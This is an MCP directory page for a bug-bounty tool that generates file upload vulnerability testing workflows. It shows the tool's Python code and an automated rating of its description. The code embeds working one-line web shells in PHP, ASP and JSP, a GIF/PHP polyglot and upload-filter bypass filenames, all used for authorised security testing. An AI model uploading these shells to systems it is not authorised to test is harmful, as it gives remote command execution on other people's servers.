Skip to main content
Glama
SlanyCukr

Bug Bounty MCP Server

by SlanyCukr

bugbounty_file_upload_testing

Test web applications for file upload vulnerabilities by generating targeted testing workflows with appropriate test files to identify security weaknesses.

Instructions

Create file upload vulnerability testing workflow.

Args: target_url: Target URL for file upload testing

Returns: File upload testing workflow with test files

Input Schema

TableJSON Schema
NameRequiredDescriptionDefault
target_urlYes

Output Schema

TableJSON Schema
NameRequiredDescriptionDefault

No arguments

Implementation Reference

  • The handler function for the MCP tool 'bugbounty_file_upload_testing'. It proxies the request to the REST API endpoint '/api/bugbounty/file-upload-testing' to generate a file upload vulnerability testing workflow.
    def bugbounty_file_upload_testing(target_url: str) -> dict[str, Any]:
        """Create file upload vulnerability testing workflow.
    
        Args:
            target_url: Target URL for file upload testing
    
        Returns:
            File upload testing workflow with test files
        """
        data = {"target_url": target_url}
    
        logger.info(f"📁 Creating file upload testing workflow for {target_url}")
        result = api_client.safe_post("api/bugbounty/file-upload-testing", data)
    
        if result.get("success"):
            logger.info(f"✅ File upload testing workflow created for {target_url}")
        else:
            logger.error(
                f"❌ Failed to create file upload testing workflow for {target_url}"
            )
    
        return result
  • The backend implementation and helper class FileUploadTestingFramework that generates the file upload testing workflow data structure, including test files, phases, and bypass techniques. This is called by the MCP tool via the REST API.
    class FileUploadTestingFramework:
        """Specialized framework for file upload vulnerability testing."""
    
        def __init__(self):
            """Initialize file upload testing framework with malicious extensions."""
            self.malicious_extensions = [
                ".php",
                ".php3",
                ".php4",
                ".php5",
                ".phtml",
                ".pht",
                ".asp",
                ".aspx",
                ".jsp",
                ".jspx",
                ".py",
                ".rb",
                ".pl",
                ".cgi",
                ".sh",
                ".bat",
                ".cmd",
                ".exe",
            ]
    
            self.bypass_techniques = [
                "double_extension",
                "null_byte",
                "content_type_spoofing",
                "magic_bytes",
                "case_variation",
                "special_characters",
            ]
    
        def generate_test_files(self) -> dict[str, Any]:
            """Generate various test files for upload testing."""
            test_files = {
                "web_shells": [
                    {
                        "name": "simple_php_shell.php",
                        "content": "<?php system($_GET['cmd']); ?>",
                    },
                    {"name": "asp_shell.asp", "content": '<%eval request("cmd")%>'},
                    {
                        "name": "jsp_shell.jsp",
                        "content": (
                            '<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>'
                        ),
                    },
                ],
                "bypass_files": [
                    {"name": "shell.php.txt", "technique": "double_extension"},
                    {"name": "shell.php%00.txt", "technique": "null_byte"},
                    {"name": "shell.PhP", "technique": "case_variation"},
                    {"name": "shell.php.", "technique": "trailing_dot"},
                ],
                "polyglot_files": [
                    {
                        "name": "polyglot.jpg",
                        "content": "GIF89a<?php system($_GET['cmd']); ?>",
                        "technique": "image_polyglot",
                    }
                ],
            }
    
            return test_files
    
        def create_upload_testing_workflow(self, target_url: str) -> dict[str, Any]:
            """Create comprehensive file upload testing workflow."""
            workflow = {
                "target": target_url,
                "test_phases": [
                    {
                        "name": "reconnaissance",
                        "description": "Identify upload endpoints",
                        "tools": ["katana", "gau", "paramspider"],
                        "expected_findings": ["upload_forms", "api_endpoints"],
                    },
                    {
                        "name": "baseline_testing",
                        "description": "Test legitimate file uploads",
                        "test_files": ["image.jpg", "document.pdf", "text.txt"],
                        "observations": [
                            "response_codes",
                            "file_locations",
                            "naming_conventions",
                        ],
                    },
                    {
                        "name": "malicious_upload_testing",
                        "description": "Test malicious file uploads",
                        "test_files": self.generate_test_files(),
                        "bypass_techniques": self.bypass_techniques,
                    },
                    {
                        "name": "post_upload_verification",
                        "description": "Verify uploaded files and test execution",
                        "actions": [
                            "file_access_test",
                            "execution_test",
                            "path_traversal_test",
                        ],
                    },
                ],
                "estimated_time": 360,
                "risk_level": "high",
            }
    
            return workflow
    
    
    FILEUPLOAD_FRAMEWORK = FileUploadTestingFramework()
    
    
    @workflow()
    def create_file_upload_testing_workflow():
        """Create file upload vulnerability testing workflow."""
        data = request.get_json()
    
        target_url = data["target_url"]
    
        logger.info(f"Creating file upload testing workflow for {target_url}")
    
        # Generate file upload testing workflow
        workflow = FILEUPLOAD_FRAMEWORK.create_upload_testing_workflow(target_url)
    
        # Generate test files
        test_files = FILEUPLOAD_FRAMEWORK.generate_test_files()
        workflow["test_files"] = test_files
    
        logger.info(f"File upload testing workflow created for {target_url}")
    
        return workflow
  • Imports the file_upload_testing workflow module, which registers the API endpoint '/api/bugbounty/file-upload-testing' used by the MCP tool.
    """Workflows package - imports all workflow modules to register their endpoints."""
    
    # Import all workflow modules to trigger endpoint registration
    from . import (
        business_logic,
        comprehensive_assessment,
        file_upload_testing,
        osint,
        reconnaissance,
        vulnerability_hunting,
    )
    
    __all__ = [
        "business_logic",
        "comprehensive_assessment",
        "file_upload_testing",
        "osint",
        "reconnaissance",
        "vulnerability_hunting",
    ]
Behavior2/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries the full burden of behavioral disclosure. It states the tool creates a workflow, implying it's a generative or setup operation, but doesn't specify if it's read-only, destructive, requires authentication, has rate limits, or what the workflow entails (e.g., automated tests, manual steps). This is a significant gap for a tool with potential security testing implications.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness4/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is appropriately sized and front-loaded: the first sentence states the purpose clearly, followed by structured Args and Returns sections. There's no wasted text, though the structure could be more integrated (e.g., combining purpose with parameter context).

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness3/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given the tool's complexity (likely involves security testing workflows), no annotations, and schema coverage of 0%, the description is incomplete. It mentions an output ('File upload testing workflow with test files'), and an output schema exists, so return values needn't be detailed. However, it lacks critical behavioral context and parameter details, making it adequate but with clear gaps for effective tool selection.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 0%, so the description must compensate. It adds minimal value: the Args section lists 'target_url: Target URL for file upload testing,' which clarifies the parameter's purpose beyond the schema's title ('Target Url'). However, it doesn't explain format constraints (e.g., URL validation), examples, or other details, leaving the parameter only partially documented.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose4/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool's purpose: 'Create file upload vulnerability testing workflow.' It specifies the verb ('Create') and resource ('file upload vulnerability testing workflow'), making it distinct from sibling tools like 'bugbounty_vulnerability_hunting' or 'bugbounty_comprehensive_assessment' by focusing on file upload testing. However, it doesn't explicitly differentiate from all siblings beyond the general bugbounty category.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines2/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description provides no guidance on when to use this tool versus alternatives. It doesn't mention prerequisites (e.g., target URL availability), exclusions, or comparisons to sibling tools like 'bugbounty_comprehensive_assessment' or 'bugbounty_business_logic_workflow', leaving the agent to infer usage context solely from the tool name and description.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Install Server

Other Tools

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/SlanyCukr/bugbounty-mcp-server'

If you have feedback or need assistance with the MCP directory API, please join our Discord server